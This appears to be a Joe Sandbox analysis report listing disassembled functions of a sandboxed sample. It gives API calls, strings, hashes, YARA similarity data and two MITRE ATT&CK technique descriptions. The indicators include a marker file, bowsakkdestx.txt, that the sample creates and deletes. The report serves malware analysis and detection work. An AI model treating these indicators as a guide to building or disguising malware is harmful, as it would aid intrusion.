Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A9F, 00422AB8, 00422A3A, 00422A44, 00422A87

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 7bb19c27cc9a7f12da775c20c0529bba410bcf1f96fba2b77c3b0c0f0107ff1b
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 7bb19c27cc9a7f12da775c20c0529bba410bcf1f96fba2b77c3b0c0f0107ff1b
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 9925ebe33404cbde23c1fb2f9b399b2968a8912f67deb2e26b2c525534b3c5e5
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 9925ebe33404cbde23c1fb2f9b399b2968a8912f67deb2e26b2c525534b3c5e5
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1a8e88c41241774786442443c3d8b035ae5b88e252aa813e21978bd4265d7a9a
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 1a8e88c41241774786442443c3d8b035ae5b88e252aa813e21978bd4265d7a9a
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

